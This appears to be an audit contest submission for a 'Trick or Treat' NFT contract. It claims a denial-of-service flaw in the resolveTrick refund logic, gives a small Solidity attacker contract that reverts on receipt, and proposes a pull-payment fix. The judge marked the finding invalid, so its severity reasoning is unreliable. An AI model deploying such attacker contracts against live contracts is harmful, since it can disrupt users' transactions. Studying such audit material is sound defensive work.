Trick or Treat

First Flight #27
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

Refund Mechanism Enables DoS Attacks Through Failed ETH Transfers

Summary

The resolveTrick function includes a refund mechanism that can be exploited to create a Denial of Service (DoS) condition. The vulnerability lies in the ETH refund logic which could be blocked by a malicious contract, preventing legitimate users from completing their NFT purchases.

Function relies on msg.sender.call for issuing refunds, which is prone to failure in cases where msg.sender is a contract that deliberately blocks the transfer.

Vulnerability Details

The vulnerability can be exploited in this way:

contract DoSAttacker {
bool public allowReceive = true;
function toggleReceive() external {
allowReceive = !allowReceive;
}
function attack(address target, uint256 tokenId) external payable {
(bool success, ) = target.call{value: msg.value}(
abi.encodeWithSignature("resolveTrick(uint256)", tokenId)
);
}
receive() external payable {
if (!allowReceive) {
revert("DoS attack");
}
}
}

Impact

If a refund fails, the entire transaction reverts. NFT transfer is rolled back. Stored state remains unchanged. Token remains locked in pending state.

Even though mappings are deleted, their storage slots can still be read. A malicious contract could track and manipulate these values across multiple transactions

Tools Used

  • Manual Review

  • Foundry

  • Slither

Recommendations

A suggestion to fix the issue is to implement Pull Pattern for Refunds like:

mapping(address => uint256) public pendingRefunds;
function resolveTrick(uint256 tokenId) public payable nonReentrant {
// ... existing checks ...
_transfer(address(this), msg.sender, tokenId);
if (totalPaid > requiredCost) {
uint256 refund = totalPaid - requiredCost;
pendingRefunds[msg.sender] += refund;
}
delete pendingNFTs[tokenId];
delete pendingNFTsAmountPaid[tokenId];
delete tokenIdToTreatName[tokenId];
}
function withdrawRefund() external nonReentrant {
uint256 refundAmount = pendingRefunds[msg.sender];
require(refundAmount > 0, "No refund available");
pendingRefunds[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: refundAmount}("");
require(success, "Refund transfer failed");
}
Updates

Appeal created

bube Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.